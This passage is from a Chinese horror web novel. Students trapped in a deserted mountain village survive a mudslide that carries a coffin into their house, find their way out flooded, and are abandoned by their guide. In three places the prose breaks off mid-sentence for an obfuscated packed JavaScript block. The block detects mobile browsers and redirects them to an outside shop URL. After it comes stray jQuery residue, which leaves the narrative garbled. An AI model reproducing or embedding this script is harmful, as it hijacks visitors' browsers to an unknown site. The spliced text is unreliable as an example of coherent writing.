想起裴桐临走前塞给她的保温杯,摸出来拧开,杯口在嘴边停了许久也没狠心喝下去,最终还是拧回去,塞回包里。 算了,这次时间短,说不定明天早上起来身上的东西就消了呢。她这么想。 屋里传来窸窸窣窣脱衣服的声音,第五页待在堂屋无聊,拿着手电筒到处晃,想找找看有没有蜡烛之类的东西。 这里实在是太黑了。 而且她们也不可能一直用手电,还是得省着点电池。 手电光顺着潮湿的地面向上蔓延,忽的一个旧木桌脚出现在视线里,堂屋陈设少,她进来的第一感受是空荡,还以为没东西,没想到有张旧木桌。 第五页正要继续往桌面上照去,想看看有没有什么能用的东西时。 下一秒对上一双死白的老人眼睛。 8. 第七章:遗像 再定睛看去,才发现那是一副手工绘制的遗像。 画像大概12寸,被简陋地裱在褪色的木框里,放在正对第五页堂屋另一边的旧木桌上,桌上除了画像还放了根烧到底的白蜡烛,烧完剩下的烛液如泪痕般凝固在桌面上。 画像主人是位老爷爷,面部线条硬朗,嘴角压得很低,看上去有些严肃。 画画的人技术不错,哪怕是黑白素描也画得栩栩如生,尤其是那双眼,无论你站在哪个角度,都仿佛正被老人死死盯着。 大晚上的,冷风从门缝里渗进来,还真有点吓人。 她走到桌边,伸手拿起相框,木质相框潮湿冰冷,触手仿佛沾着说不清的寒气。 看着怪渗人的,还是不要让华悠悠看见了。 随后说了合掌两句“抱歉”将遗像倒扣在桌面上。 与此同时,里屋传来华悠悠短促的惊呼。 她心头一紧,抓着手电筒快步冲进去,“怎么了?” 只瞧见华悠悠僵在旧衣柜前,听见她进来的声音,匆匆回过神来,脸色在手电筒光下显得有些苍白,有些不好意思地回头朝她晃晃脑袋,“没事没事……抱歉,是我被吓到了。” “你被什么东西吓到了?”第五页走到她身边,顺着她面对的方向,朝衣柜一看。 空荡荡已经有些霉变的木质衣柜里,正中间放了双小鞋。 鞋子很小,还没有她的巴掌大,边缘用彩线绣了精致的花鸟,只是由于长时间待在潮湿的地方,鞋子跟部已经有些霉变了。 “这是……三寸金莲吧。”第五页眯了眯眼睛。 三寸金莲她只在书上看过图样,比起它的样子,更多人熟知的是它成为旧时代女人枷锁的故事。 仅仅是为了小脚好看,就用长布条将脚掌连同除拇趾外的四个脚趾折断,弯向脚心,形成笋状的“三寸金莲”。 没想到会在这里看到,这个村子的年代似乎比她想象的还要早些。 “嗯。”缓过劲来的华悠悠小声解释道,“我也是小时候看多了那种绣花鞋的恐怖片……才会被吓到。” 第五页没说话,只是伸手缓缓合上衣柜门,将那双鞋重新关进黑暗里。 她转过身,语气放柔,“没事,不看就不会被吓到了。” 华悠悠腼腆抿了抿唇,点两下头,又瞧见她身上还穿着的湿衣服,“对了,叶子,我衣服换好了。你也快换了吧,我刚都听到你在屋外咳嗽了。” 说完关门出去。 好不容易可以换衣服,第五页也没耽搁,利落从防水袋里拿出干净衣衫,几分钟内换好,顺便还擦了个头发。 唤华悠悠进来后,她又蹲下身,拉开衣柜底层的抽屉翻了翻,果然找出两根白蜡烛。 卧室只有一张老式木架床,第五页掀开看了眼。 下面不是棉絮而是稻草,而且因为长时间捂着稻草已经开始霉变,散发出一股阴湿霉味。 地是黄泥地,用铲子挖能挖出个坑的那种,四个角落全都是老鼠屎。睡地上免不了会被某些“朋友”光临。 两人权衡再三,还是决定睡床上。 味道只能用其他东西多铺几层了。 熄了手电,点上蜡烛。 昏黄的光晕在屋内晕开,勉强撑开一小圈温暖的幻觉。 华悠悠蜷缩在靠墙的里侧,第五页在外侧躺下,枕边木桌上蜡烛静静燃烧,火光在她侧脸上投下摇曳的阴影。 房子没了她们到处走动的声音,潮湿的空间瞬间安静下来,要仔细去分辨才能听到她俩绵长的呼吸声。 华悠悠不是个爱说话的性子,再加上她们白天又是翻山又是涉水,累的浑身酸痛,晚上换上温暖舒适的衣衫,躺在勉强舒适的床上,身体不自觉放松下来。 没过一会,华悠悠便昏昏欲睡。 第五页还没生出困意,平躺在稻草床上,盯着房梁上跳动的火光影子。 耳朵里是窗外不绝于耳的雨声,狂风卷着雨点砸在她们木窗上,“啪啪”作响,雷声雨声风声,所有声音都混在一起,却又清晰可闻。 她闭上眼睛尝试酝酿睡意,不知怎的第六感又带动着心脏快跳起来。 咚,咚,咚…… 她的意识在雨声中起起伏伏,等再次回过神来时,竟发现外面的雷雨声竟比之前大了几百倍,轰鸣震耳,简直就像在她们床边一般。 而且这雷雨声下似乎还混杂着一种沉闷的、持续不断的隆隆闷响,咕噜噜的仿佛在煮什么东西。 声音越来越大,越来越大。 等这声音大到不再被雷雨声掩盖时,第五页终于想起来这声音在哪里听过了。 来自小时候看过的自然灾害频道里的某一期,泥石流。 第五页心猛地一紧,没等她从床上跳起,旁边华悠悠也被这恐怖的动静惊醒,半梦半醒间呢喃一声。 屋外那声音已到了她们身后的土墙。 就在这一刹那,靠近华悠悠的那面墙轰然倒塌,泥水前仆后继地涌了进来,她本就岌岌可危的半边床被瞬间冲散,还没来及惊呼,一个巨大的黑长条物体擦着她们床边缓缓停下。 华悠悠刚被吓醒,人都是懵的,为了不被冲进屋内的泥水带走,下意识撑了下那黑物体。 与此同时,天边划过一道闪电,闪动的白光恰好照亮她手下撑着的东西。 看清后,她那刚回过来的三魂六魄瞬间又散了个干净。 “棺……棺材!棺材!” 房子被突如其来的泥石流撞了个大洞,半边屋子已经塌陷,摇摇晃晃的房梁吱呀响个不停,眼看着下一秒就要倒下来。 第五页眼疾手快地抓住华悠悠,才没让她再被泥石流带走,嘶声大吼,“走!先出去!房子快塌了!” 话音未落,便拼着自己全部力气将被吓蒙了的华悠悠从陷落的床铺上拖起,跌跌撞撞冲向堂屋,踹开摇摇欲坠的木门,扑进外面瓢泼的暴雨中。 几乎是她们刚冲出房门,只听见身后轰的一声,刚刚她们还睡过的房间被山上冲下来的泥石流冲个粉碎。 土块瓦砾房梁不分彼此地混在一起。 她们站在倾盆大雨中,眼睁睁看着房子被冲塌一半,任凭雨水再次把衣衫打湿。 唯一值得庆幸的是,刚才睡觉前她们并没有把行李拿进睡的屋子,而是放在了堂屋。 或许损失能小一点吧。 华悠悠与那棺材近距离接触,此时还没从事情的发生回过神来。 主要是太过突然,一切好似一场梦,她好好睡着觉,泥石流突然要把她带走,再一睁眼自己正躺在黑木棺材上,小说都不敢这么写。 第五页紧紧扶着她的肩膀,站在高处,默默等这场混乱过去。 身后传来几声模糊的呼喊声,再一转头,瞧见裴桐他们几个打着伞从山上跑下来,还没到近处,曹永朝大喊问道,“第五页!华悠悠!你们没事吧!?” 裴桐虽然没大呼小叫,但是走在最前面,一个撑手翻墙来到她们身边,撑开伞,眼神略显焦急地扫过两人全身,嗓音带着雨夜的寒意,却掩不住一丝紧绷,“没事吧?” 第五页摇头。 身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067400|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋英杰和曹永朝跟着到了,前者皱了皱眉担忧地看了眼她们,“我们听到外面声音有点大,跑出来看到山上有什么东西冲着你们住的地方去了。你们没事吧?” 她再次晃了晃脑袋,如实道,“我没事,但是华悠悠好像有点被吓到了。” 瞧见她身边被吓懵的华悠悠,宋英杰眉心锁得更紧,唇线抿直,语气带着自责,“是我欠考虑了。刚来到陌生地方,我们应该小心行动,不应该立刻分开。” “我去!这什么情况?山体滑坡了?”曹永朝站在最外侧,过来确认她们俩没什么大碍后,好奇心立刻被废墟吸引。 他垫脚张望,借着天空时不时划过的闪电,隐约看到废墟里有个突兀的长方体轮廓,“那……黑乎乎的是啥?” 第五页抹了把脸上的雨水,声音平静无波,“棺材。” 曹永朝准备打伞过去看看的心瞬间收了回来,一个激灵转头看她,似乎有点不敢相信刚才听到的。 可惜她严肃的表情告诉他这就是事实。 “棺材?!棺材怎么会从山上冲下来?”曹永朝声音变了调,奇怪问了句。 没人回答他,因为答案可能有很多种,水土流失啦,棺材本身就在山上埋的浅之类的。 只是棺材被雨水冲到她们房子里这件事放在他们刚进村的晚上,显得很不对劲。 就像是……这座村子并不欢迎他们。 “好了,雨越来越大了,以防等会儿再有东西被冲下来,你们今天晚上就跟我们一起睡吧。我们在山上找了个更大的空房子,地方够了。”为了不继续在这里纠缠不休,宋英杰作为社长站出来主持大局,对第五页她们说:“你们还有东西在房子里吗?” “行李还在堂屋没塌的那边。”第五页回答。 宋英杰转头瞥了眼还未塌陷堂屋,眉头轻轻蹙起,果断摇头,“房子里面现在太危险了,所有人安全最重要,行李还是等明天醒了再回来拿吧。” 第五页表示同意地颔首。 他们在雨中站的够久,纷纷准备找安全路线回去。 裴桐的伞给了第五页她们,出来的急他只拿了一把黑伞,两个人撑尚且足够,三个人就有些挤了, 曹永朝见状,主动把自己的伞歪过去一半,搂住裴桐的肩膀,“兄弟,只能委屈你跟我挤一把了。” 第五页和华悠悠刚被吓了跳,等离开这里才发现各自的腿有些软。 翻越残墙时,第五页先一步过去,转身正要扶墙上的华悠悠,视线无意间掠过那扇半掩的,尚算完好的堂屋木门。 一道闪电恰在此时亮起。 惨白的光线如探照灯般射入堂屋,清晰地照出那张残破的旧木桌。 桌上,那幅原本被她亲手倒扣的遗像,不知何时竟又立了起来。 画像中的老人面孔正对门口,黑白分明的眼睛穿透雨幕,直勾勾地“望”着她。那原本紧抿的严肃的嘴角,在此时似乎极其诡异地向上弯起了一个细微的弧度。 她脊背一僵。 再一眨眼,闪电熄灭,堂屋重归黑暗,仿佛刚才那惊悚的一幕只是她的错觉。 “怎么了?”裴桐低沉的声音立刻在身侧响起,他敏锐地察觉到了她瞬间的停顿。 第五页迅速收回目光,扶稳跳下来的华悠悠,撑伞转身,面上已恢复平静,摇头,“没什么,可能是我看错了。” 她不愿多说,裴桐便也不再追问。 五个人就这样相互搀扶着,深一脚浅一脚,踏着泥泞的山路,朝宋英杰他们找到的位于更高处的那座土房艰难行去。 9. 第八章:空村 还没走进屋内,第五页便听到撼天震地的鼾声,带着浓浓的鼻音传遍房子每一个角落。 踏过门槛,收了伞,她看了眼声传来的房间,房门虚掩,鼾声正从里面轰隆隆传出,应当是齐聪。 身后曹永朝跟着跑进来,抖抖身上的水,听见鼾声,颇为无语地撇撇嘴,“神人真是神人啊,这么大的动静都吓不醒他,洞窟里疯了的状态真不是装的吗?” 宋英杰随后进来,顺手拍了他的后脑勺,“别吐槽了,在这站着不如快点收拾今晚睡的地方。” “我这不是担心嘛,”曹永朝摸着脑袋,压低声音嘀咕,“他这状态,回头还能不能带我们出去都是问题。” 但吐槽归吐槽,说完还是迅速跑去收拾房间了。 宋英杰转身面对第五页和华悠悠,语气柔和了些,“这房子里有三个房间,你和华悠悠一间,齐聪一个人一间,剩下房间我们男生挤挤。” 一晚上经历这么多,第五页想挤出个笑缓和气氛,最终只露出个略带疲惫的苦笑,“嗯,谢谢社长了。” “没事。”宋英杰说:“房间在左边,等会儿我们进去把东西搬出来。” 所谓等会确实没等多久,裴桐他们动作很快,不多时便将几个背包和一些零碎物品搬出来,堆在了堂屋一角。 第五页搀扶着仍有些恍惚的华悠悠,走进分配给她们的房间,房间构造和山下的土房差不多,旧木柜,稻草铺成的旧木床,唯一令人欣慰的是这间土房有很多油灯,宋英杰给她们找出几盏,放在她们房间里。 门口响起敲门声,她转头一看,原来是裴桐拿了两件衣服进来,递给她说:“我和宋英杰找了两件没穿过的衣服,都是我们从外面带进来的,先换了吧。小心感冒。” 仿佛为了印证他的话,第五页喉咙涌上痒意,握拳抵着唇低咳两声,“咳,咳。” 裴桐眉心一耸,“喝药了吗?” 第五页抬眼,对上他严肃的目光,莫名有些心虚,视线飘向一旁,“……喝了。” 裴桐没说话,只是看着她,那表情让人猜不透他信了没有。 像是害怕他再站一会自己就全盘托出,第五页飞快捞过他手中的衣服,“哎,衣服我们会好好换的,你快出去吧,替我和华悠悠谢谢社长了。” 边说着边不着痕迹地将裴桐往门外推,顺手带上了门。 一时间房间里只剩下她和华悠悠。 后者还处于没回过神来的状态,属于有回应但不多。 经历半个生死,她们也没了之前的尴尬,见华悠悠迟迟未回过神,第五页便先帮她换了衣服。 等两人都换完,屋外搬东西的声音也消失了。 二次躺上床,第五页心情很复杂,一方面精神还未松下,这似曾相识的房间布局总让她恍惚间仿佛还置身山下那间崩塌的土房;另一方面屋外齐聪那压倒雨声的震天鼾响又奇异地带来一丝安心,让她清楚地知道同伴就在身边。 就这样怀着复杂心情,她睁眼盯了发黄房梁许久,直到眼皮沉重得再也抬不起来,才昏昏沉沉睡过去。 混乱的一天结束。 再睁眼时已是次日午时。 第五页被一声鸡鸣吵醒,醒来还未完全坐起,便感觉浑身酸痛,四肢像是被人打断又重新接了起来。 昨天大张大合地跑跳,可能扯到了。 她揉揉僵硬的肩膀和胳膊,慢慢挪下床。 拉开房间门。 堂屋里只有裴桐一个人,坐在小马扎上,身前是不知从哪个房间搬出来的几个床头柜,拼在一起恰好成了张吃饭的桌子。 此时他正端着带来的碗温吞喝着什么。 听见她起来的声音,抬了下头,“你要喝粥吗?我煮了燕麦粥。” 第五页有时候真的很好奇,为什么无论她什么时候起来,门外裴桐手里都恰好有食物。 她还没有胃口,左右看了看,没瞧见宋英杰和曹永朝的身影,刚才下床也没看见华悠悠,就连最里面的卧室齐聪的鼾声也消失了。 “他们人呢?”她问。 见她没有要喝的意思,裴桐也不勉强,放下碗,“曹永朝去找昨天进来的水潭入口了,齐聪没看见,华悠悠……” 他的话音未落,门外传来脚步声,宋英杰和华悠悠一个穿着蓑衣,一个打着雨伞走了进来。 宋英杰摘掉头上遮雨的草帽,笑说:“我们在这呢。” “我和华悠悠上午在村子里大致转了转。”宋英杰站在门外一边脱蓑衣一边说,“没看见任何人影,连一点近期有人生活的痕迹都没有,看来这确实是个被废弃的空村子。” 经过一晚上的休息,华悠悠状态比昨天晚上好了很多,或许是因为终于能端起相机做她熟悉的事,整个人都精神不少,收了伞,举了举挂在胸前的相机,轻声道,“我拍了很多照片。你们要看吗?” 第五页摇头,然后又想起昨晚上她和华悠悠上来时没拿行李,而她的相机应该都还在土房,反应过来问道,“你们去昨晚上那土房看过了?” “嗯。”这次点头的是宋英杰,“想着把行李拿回来,就去那附近转了圈。” 他继续说:“昨晚上天太黑没看出来,今早我和华悠悠去拿行李才发现,那一片都被山上滚下来的泥水冲了,地势低一点的房子基本遭了殃。” 华悠悠在旁边忙颔首,像是要证明他说的都是真的,“有个土房比昨晚我们待的那间更惨,整个房子都冲没了,只留下一地的石块泥水和烂木头。” 两个人都不是说谎的性格,第五页当然不会怀疑他们,点了点头,只是想到昨晚上上来前那幻觉似的一撇,又问道,“你们去土房拿行李的时候,有没有看到一张画像?” “什么画像?”宋英杰疑惑地眉心一紧,反问。 “就是立在正对堂屋大门对面的一张旧木桌上的老人遗像,大概12寸。”边说着,她还边比划了一下大小。 按理来说那画像也不小,立在桌子上,白天光线足,他们进去肯定一眼就能看见。 但是现在,华悠悠摇了摇脑袋,语气肯定,“堂屋里确实有张旧木桌我看见了,但是我们拿完行李就出去了,没看见什么立着的画像啊。” 她扫了眼两人认真的表情,肯定没说谎。 那昨天晚上看到的会是因为雨太大了,她出现幻觉了吗? 第五页摸了下耳垂,刚准备随便笑一下,应付过去。 裴桐敏锐地察觉到什么,“你什么时候看到的那画像?” 她抿了下唇,只犹豫了一秒,“昨天晚上,我们刚进那房子的时候。” 害怕他们不相信,她还补充了些细节,“画像没有上色,只有简单的黑白灰,画的是个老爷爷,嘴角向下,看起来有些严肃。” 不管在哪里,遗像在人们心中都是一种微妙的存在,像是与另一个世界接壤,获得了通行证。 更何况是出现在这么个鸟不拉屎的荒村里。 想象力丰富的他们不由自主地脑补一些东西,华悠悠不由自主地打了个寒颤,声音微弱,“那个遗像里的老爷爷不会就是我们昨晚上住的土房的主人吧?因为我们擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抱着胳膊搓了搓,脚勾了个板凳一屁股坐下,端起裴桐给第五页留的热粥咕咚咕咚喝完,这才感觉好一些,苍白的嘴唇恢复些血色。 裴桐丢了条干毛巾给他。 “你下水了?”第五页问。 “嗯。”曹永朝用毛巾胡乱擦着头发,又打了个寒颤,“今天翻行李发现我还有些东西落在船上了,就下水回去看了看。” 说完这句话,他的脸色沉了下去,是罕见的严肃。 难得见他这副表情,华悠悠心底冒出个不好的预感,忙问:“……怎么了?” 曹永朝深吸一口气,缓缓吐出,声音比刚才低沉了许多,“有个坏消息,我们进来的那条水路……好像没了。” 宋英杰眉头紧锁,“什么意思?” “就是字面意思。”曹永朝语速加快,带着掩饰不住的焦躁,“我今天潜下去,朝着记忆里好几个方向都找了,根本没发现昨天那个溶洞入口,就连我们拴在那儿的船也不见了。它们就像……凭空消失了一样。” 几人被这突如其来的变故打得措手不及,沉默了好一会。 “不是凭空消失。”缓过来的第五页说:“是地下河又上涨了。” 她早该想到的,难怪从进村开始心头就一直萦绕着一股不安,却又不知道这不安从何而来,直到此时此刻被证实。 众人的视线再次聚焦到她身上。 曹永朝重重的点了下头,印证了她的说法,“是的,后来我想了想,也反应过来是地下河的原因。昨晚雨太大了,应该是我们进村后地下河再次上涨淹没了进来的路。” 10. 第九章:争吵 他们愿意进村,但不代表他们愿意一直待在这里。 想要全身心投入一些事的前提是没有后顾之忧,他们有随时逃离这个选项。 但现实总不会那么顺利,冒险也总是伴随着未知。 毕竟还都是十几岁的孩子,得知很有可能被困在这个荒村后,他们肉眼可见地慌了起来。 最先开口的是华悠悠,她看了眼其他人,“我们不会被困在这里吧?” 宋英杰作为社长,作为他们几个之中的带队人,总是最先跳出来安抚人心,“不会。往好处想地下河会上涨肯定也会下降,只要溶洞的水下去,我们就又可以出去了。” 只是这溶洞里的水什么时候下去,他们谁也不知道。 安慰的话说出来,他们的心却并没有立刻安定下来。 场面沉默了十几秒,华悠悠忽的抬头四处看了看,奇怪高声,“对了,你们有谁看见聪哥了吗?” “没有。”四人接连摇头。 第五页问:“今天早上你们谁最先醒?” “我和裴桐早上最先醒,那时候大概是早上七八点的样子。”宋英杰摊手,“不过我们并没有进屋看。” “我没有听见鼾声,推测他那个时候应该已经就不在房间里了。”裴桐回答。 “又不见了?”听见齐聪二次消失,曹永朝颇为无语地撇了撇嘴,相比上次少了着急,只剩下烦躁,“究竟他是导游还是我是导游。神人真是神人。村子还没转几圈又丢,他到底知不知道自己是进来带我们的,得,这下我可不去找了,你们想找的话你们找吧。” “别担心,上次不是也回来了,说不定他只是在附近山上转转,下午就回来。”宋英杰出来稳住队伍,“聪哥能带我们进来,应该还有别的路带我们出去。等下午他回来的时候我们再问问吧。” 其余人没说话,耷拉着脑袋,从喉咙里发出类似嗯的音。 可他们这一等就从上午等到了傍晚。 午后,第五页简单解决午饭,在村子里简单转了圈。 荒村四面环山,太阳照不进来,哪怕是夏天,温度也比外面低上十几度。 她想,如果不是连绵的阴雨,这里或许会是个避暑的好去处。 只是没有阳光,他们对时间的感知随之变弱,除了深夜和正午,天色很难有明显变化,她有时候甚至分不清当时是早晨还是黄昏。 好在虽然信号时有时无,但他们带进来的东西足够支撑手机电量,能够通过电子产品分辨时间。 也只有通过手机看时间的时候,第五页才有一种跟外界联系的熟悉感,好像她并没有被外面的世界遗忘。 临近四点,山里的雨终于停了。 她慢慢往回走。 还没等她进到院子,便听见土房里传来一阵激烈的争吵。 她快走两步进去,只来得及看见属于齐聪的房间门被砰的一声关上。 宋英杰和华悠悠拦着一脸愤怒的曹永朝站在堂屋中央。 她瞥了眼因为关门用力而回弹的门,登时明白了什么,“聪哥回来了?” 华悠悠一手抓着曹永朝,边和宋英杰拦着他说什么冷静点,不要冲动的话。 混乱之间,她还扭头,表情复杂地朝她颔首。 第五页还想问些他说什么没? 哪知没张口,刚刚关上的门又从里被推开,齐聪拎着包大步出来,身上比昨天他们进村时还要狼狈。 仅仅过了一天,他变得像是不知从哪个山头跑出来的野人,浑身散发着腐烂的泥土味,头发淋了雨看起来变得更长,自头顶耷拉下来,遮住眉眼,贴在鬓角。 眼窝深陷,粗糙的下巴上冒出细细的胡须,衣服看不出原本的颜色,袖口和裤腿磨得毛边翻卷,沾上泥浆,苔藓和可疑的深色污渍。 仔细看去,对方的左手几根手指似乎弧度不太对,关节诡异地扭曲着。 齐聪走到曹永朝他们几个人跟前,从包里掏出几张红票,数了数,丢在他们上午吃饭的桌子上。 沉声道,“接下来一段时间我要待在这里,短则几天,多则几个月,不确定什么时候会走,出去的事你们自己想办法吧。” 说完,也不管曹永朝的暴跳如雷,怒吼他这是什么意思,转身又回了房间,砰的一声关上门。 接着,里面响起窸窸窣窣收拾行李的声音。 站在门口的第五页还没从这突然变故中回过神来,身后吹来一阵风。 她下意识回头,瞧见裴桐拎着只瘦鸡立在门口,裤脚和鞋边上沾染了新鲜泥印。 “怎么了?”他皱眉疑惑问道。 宋英杰和华悠悠忙着安抚怒不可遏的曹永朝,没听到他的话, 只有这个看了半个过程的第五页抿紧唇线,对着他表情复杂地摇了摇头。 带他们进来的导游临时撂挑子,哪怕是放在其他正常旅游线上也是一次对游客的重大事故了。 正常交涉好一趟付下来的钱,领路的人便负责带他们进出,有时会有黑心的导游半路加钱,但是他们现在也没出现这种情况啊。 反而是半天没见,齐聪像完全变了个人似的,跑回来把钱全部退给他们,说不做他们这单生意了。 哪有这么搞的? 一时间第五页他们都有点一头雾水,还隐隐有些生气。 那方,华悠悠他们好不容易把暴脾气的曹永朝安抚下来。 事到如今,齐聪脱离队伍的事已成定局,他们现在能做的只有保证自己别出岔子,再来寻找退路。 几人简单商量了下,如果明天溶洞里地下河的水还没下去,宋英杰他们几个就去附近的山上看看,找找有没有其他出路。 决定下来后,聊天结束前宋英杰把第五页和华悠悠叫去了角落,开口前他余光瞥了眼土房里齐聪紧闭的房门,“聪哥刚才在房子里的状态你们也看见了,有点不太对劲。” 她们同意地点点头。 “我仔细想了想,怀疑是跟前天晚上他莫名其妙失踪有关。”宋英杰说:“你俩可不可以把那天晚上看到的事情再跟我说一遍,越详细越好。” 第五页和华悠悠交换了个眼神。 最后由后者将那天晚上发生的事重新描述了遍。 害怕自己潜意识会编造新的东西,影响判断,她俩只把自己确定的事说了。 宋英杰听完后久久没有说话,神情凝重。 第五页抬下眼皮,心有所感道,“你是不是怀疑那天晚上聪哥跟着树林里的那些黑影出去过?” 他松了唇,对上她的眼神,重重点两下头,“嗯。” “我去问过裴桐,他说那天晚上睡得比较沉,并不清楚齐聪是什么时候消失的。”宋英杰接着问:“你们又说那天晚上起夜听到过他们帐篷里传来鼾声,但是回来后却没再听见。我在想,他当时会不会和你们一样也醒了,并且出去过。” “那天白天他回来的状态你们也看见了,整个人阴沉沉的,虽然出发前的态度就不是特别好,但也没到这种地步。”宋英杰无意识捏了下拳头,似乎在想措辞,“简直就像是……” 第五页把他没说完的话说完,“……遇到了非常恐怖的东西。” “没错。”宋英杰点头:“如果前天晚上他真的出去过,说不定跟你们一样,也看到了树林里的那些东西。只是你们没有追上去,但是他追上去了。” 听到这里,不知是不是风吹,华悠悠默默打了个寒颤,疑惑道,“可是……他为什么要追上去?” 是了,齐聪跟他们不一样,他此行的目的仅仅是带他们进村出村,就算是好奇,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067402|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这一行干了这么多年,不会不知道夜晚在山里脱离队伍有多么危险。 第五页摊手,“这就要去问他了。” “不过看对方现在这拒绝沟通的态度,恐怕我们只能吃到闭门羹。”她说。 其余两人对她的话心照不宣地沉默。 后面他们又简单商量了下,宋英杰觉得齐聪现在的状态很不稳定,怎么说他们也是一起进来的,再怎么样也不可能放着他出事不管,之后还是得多看着点。 就算他搬出现在的土房了,也肯定在村子里,不会离太远。 晚上,第五页他们吃带进来的食物时,齐聪的房间里已经没了声音,华悠悠说搬行李的时候看到个像他的人影往山坡上另一处空房去了。 第五页白天去那边转过,知道离得不远,下午他们刚吵一架,双方的心气还没消下去。 宋英杰显然也是明白这个道理,最后,他们决定等明天早上双方都不再那么争锋相对了去劝劝对方。 住在山凹处,天暗下来只是一瞬间的事。 明明前一秒还可以不用手电就能在村子里自如地行走,下一秒连分辨方向都成了问题。 今天晚上没有下雨,月光也照不进来,村子空寂的诡异。 白天折腾了一天,晚上他们收拾好睡的地方早早睡去。 第五页合衣躺在床上,旁边华悠悠呼吸均匀,显然是已经睡着了。 房间没点蜡烛,适应房间的暗后,她慢慢能够视物,虽然模糊但是足够分辨物体的位置。 很多人以为没有光的地方就等于什么都看不见,其实不是,即使再“黑暗”的地方,人的眼睛适应了那个度,便能够视物。 但不同的人能够适应的程度不一样,适应程度低的人只要没有光便什么都看不见,也就是夜盲症,民间管它叫鬼蒙眼。对他们来说黑的程度是高是低完全没区别,反正都看不见。 相反,还有一类人,他们无论在多黑暗的地方,都能够像白天一样视物。 小时候她曾听她姥姥提过一嘴,这些人天生对弱光敏感,除天赋高外他们还会进行系统地训练,比如在漆黑的地方下棋,穿针绣花等。更有甚者为了能更好地在黑暗的环境下视物,保护眼睛,他们会主动选择放弃明亮时的视觉,其毅力非常人不能比。 也正是他们这份诡异的坚持,有传言说他们的眼睛能够看到普通人看不到的东西。 不过具体是真是假,她姥姥并没有多说,她也无从得知。 此刻,第五页正盯着房间模糊的轮廓,慢慢酝酿睡意。 没下雨,屋外没虫鸣也没雨声,有的只有土房后一只瘦鸡偶尔发出的咕咕声。 瘦鸡是裴桐下午带回来的那只,吃过饭后她曾问过,他说这只野鸡在他们土房附近找到的,找到它的时候浑身脏兮兮,可能是被泥水从附近山上冲下来了。 第五页仔细回想了下,上午起床时,她是好像听到过鸡叫。 不知道他们还会在这里待多久,裴桐准备做好最坏打算,如果后面食物不够了,这只野鸡也能吃。 不过她瞥了眼这只瘦了吧唧的野鸡,一只眼睛因为泥水瞎掉,偶尔走路还有点坡脚,很是怀疑它够不够他们几个人分。 脑中思绪搅成一团,第五页想着想着,困意慢慢涌上来。 不清楚是什么时候睡着的,只知道自己醒的时候,外面天还没亮。 她猛地从床上惊醒,盯着黑漆漆的房间恍惚了好一会儿。 才发觉屋外诡异的寂静,像是世界被抽走了声音,连睡前听到的鸡叫也没有了。 慢慢缓过神来后,她想找手机看看时间,下意识往旁边一摸,只摸到空荡荡冰凉的床位。 华悠悠不在床上! 与此同时,外面堂屋传来开门的吱呀声。 11. 第十章:夜探 是华悠悠? 这么晚了她出去干什么? 身体比脑子先动起来,第五页随手披件外套下床,摸上手电出去。 堂屋大门大敞,她快步走到门前,只瞧见外面一晃而过个黑影。 “华悠悠!”她大喊了声。 没有回应,黑影再没出现,她的声音也像是被浓浓的夜色抽了个干净,没有回音传回来。 第五页总感觉心里不得劲,太阳穴突突地跳,目光沉沉地望着外面寂若死灰的村庄,低声道,“不会出什么事吧。” 想要追出去看看,踏出门槛的前一秒。 她忽的想到了什么,又转身跑去男生们睡觉的房间。 刚敲两下门,门就从里面开了。 裴桐拉开们,穿单衣立在门边。 “怎么了?” 虽然对方面上看上去很清醒,但是低哑的嗓音告诉她,他也是刚醒来,或许就是被她刚喊华悠悠那一声吵醒的。 不过这种时候,第五页也顾不了那么多细节了,有些着急地说,“华悠悠不在床上。” 裴桐走出来,不动声色地关上身后的门,关门的刹那,她听到里面传来均匀的呼吸声。 “别着急,慢慢说。”他还是那张死人脸,冷声问道。 像是被他感染情绪似的,第五页心瞬间镇定了下来,慢慢阐述刚看到的事,“我刚醒来发现华悠悠没在床上,听到堂屋有人出去,出来一看,门开着,门外还闪过一个黑影。” “华悠悠?”裴桐问。 “不清楚,我喊了声,它没有答应。”她沉着脸色边摇头边说:“我想追出去找找,但是害怕你们醒后发现我和华悠悠都不见了,所以过来你们说一声。” 毕竟他们现在是一个团队,团队最忌讳的就是莫名其妙消失,作为一个出发前刷过无数相关野外视频的华悠悠不可能不明白这个道理。 第五页越想越觉得不对劲。 裴桐沉默了两秒,“等我。” 说完他转身回了房间,又很快关门出来,身上多了件蓝色外套,手上多了个她同款手电,“我给宋英杰他们留了信息。我和你出去找找,说不定华悠悠只是晚上起夜,就在附近。” 虽然她觉得百分百不可能是起夜,华悠悠如果半夜起床总会叫她,但现在她也不想打击,只能怀揣着隐隐的担心点了点头。 他们提着手电关门出去,融入夜色。 深夜的荒村是极其静的,这种静不是什么都听不到的静,更像是把他们从这个世界抽离的静,四面环山,风吹不进来,仿佛连空气都停止流动。 